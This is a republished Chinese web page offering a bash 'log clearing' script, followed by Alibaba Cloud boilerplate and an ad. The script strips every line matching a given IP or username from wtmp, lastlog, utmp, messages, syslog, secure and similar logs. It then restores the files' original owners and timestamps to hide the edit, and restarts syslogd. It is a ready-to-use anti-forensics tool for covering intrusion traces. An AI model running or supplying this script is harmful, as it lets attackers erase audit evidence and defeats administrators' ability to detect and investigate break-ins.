linux清除日誌的指令碼

來源:互聯網
上載者:User


linux清除日誌的指令碼 Python代碼 www.2cto.com  #!/bin/bash  echo " linux clear log "  echo " by seala"  echo "==============================="  echo "Clearlog root  or Clearlog IP "  # chmod 777 log  # ./log xx.xx.xx.xx And ./log root  if [ -f "/var/log/wtmp" ];then  cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;  chgrp --reference /var/log/wtmp /var/log/temp1;  chown --reference /var/log/wtmp /var/log/temp1;  touch -r /var/log/wtmp /var/log/temp1;  mv -f /var/log/temp1 /var/log/wtmp;  fi    if [ -f "/var/log/lastlog" ];then  cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;  chgrp --reference /var/log/lastlog /var/log/temp2;  chown --reference /var/log/lastlog /var/log/temp2;  touch -r /var/log/lastlog /var/log/temp2;  mv -f /var/log/temp2 /var/log/lastlog;  fi    if [ -f "/var/log/messages" ];then  cat /var/log/messages | grep -v $1 >> /var/log/temp3;  chgrp --reference /var/log/messages /var/log/temp3;  chown --reference /var/log/messages /var/log/temp3;  touch -r /var/log/messages /var/log/temp3;  mv -f /var/log/temp3 /var/log/messages;  fi    if [ -f "/var/log/utmp" ];then  cat /var/log/utmp | grep -v $1 >> /var/log/temp4;  chgrp --reference /var/log/utmp /var/log/temp4;  chown --reference /var/log/utmp /var/log/temp4;  touch -r /var/log/utmp /var/log/temp4;  mv -f /var/log/temp4 /var/log/utmp;  fi    if [ -f "/var/log/wtmpx" ];then  cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;  chgrp --reference /var/log/wtmpx /var/log/temp5;  chown --reference /var/log/wtmpx /var/log/temp5;  touch -r /var/log/wtmpx /var/log/temp5;  mv -f /var/log/temp5 /var/log/wtmpx;  fi     if [ -f "/var/log/utmpx" ];then  cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;  chgrp --reference /var/log/utmpx /var/log/temp6;  chown --reference /var/log/utmpx /var/log/temp6;  touch -r /var/log/utmpx /var/log/temp6;  mv -f /var/log/temp6 /var/log/utmpx;  fi    if [ -f "/var/log/syslog" ];then  cat /var/log/syslog | grep -v $1 >> /var/log/temp7;  chgrp --reference /var/log/syslog /var/log/temp7;  chown --reference /var/log/syslog /var/log/temp7;  touch -r /var/log/syslog /var/log/temp7;  mv -f /var/log/temp7 /var/log/syslog;  fi    if [ -f "/var/log/secure" ];then  cat /var/log/secure | grep -v $1 >> /var/log/temp8;  chgrp --reference /var/log/secure /var/log/temp8;  chown --reference /var/log/secure /var/log/temp8;  touch -r /var/log/secure /var/log/temp8;  mv -f /var/log/temp8 /var/log/secure;  fi     /usr/bin/killall -HUP syslogd;  echo "Clear log is success!"   

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.